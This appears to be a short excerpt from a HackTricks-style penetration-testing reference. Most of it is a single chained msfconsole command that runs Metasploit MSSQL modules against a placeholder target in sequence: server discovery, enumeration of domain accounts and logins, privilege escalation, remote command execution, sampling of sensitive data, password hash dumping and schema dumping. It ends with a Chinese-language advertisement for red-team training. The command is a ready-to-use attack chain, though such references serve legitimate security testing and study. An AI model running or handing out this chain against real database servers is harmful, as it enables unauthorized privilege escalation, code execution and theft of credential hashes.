Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks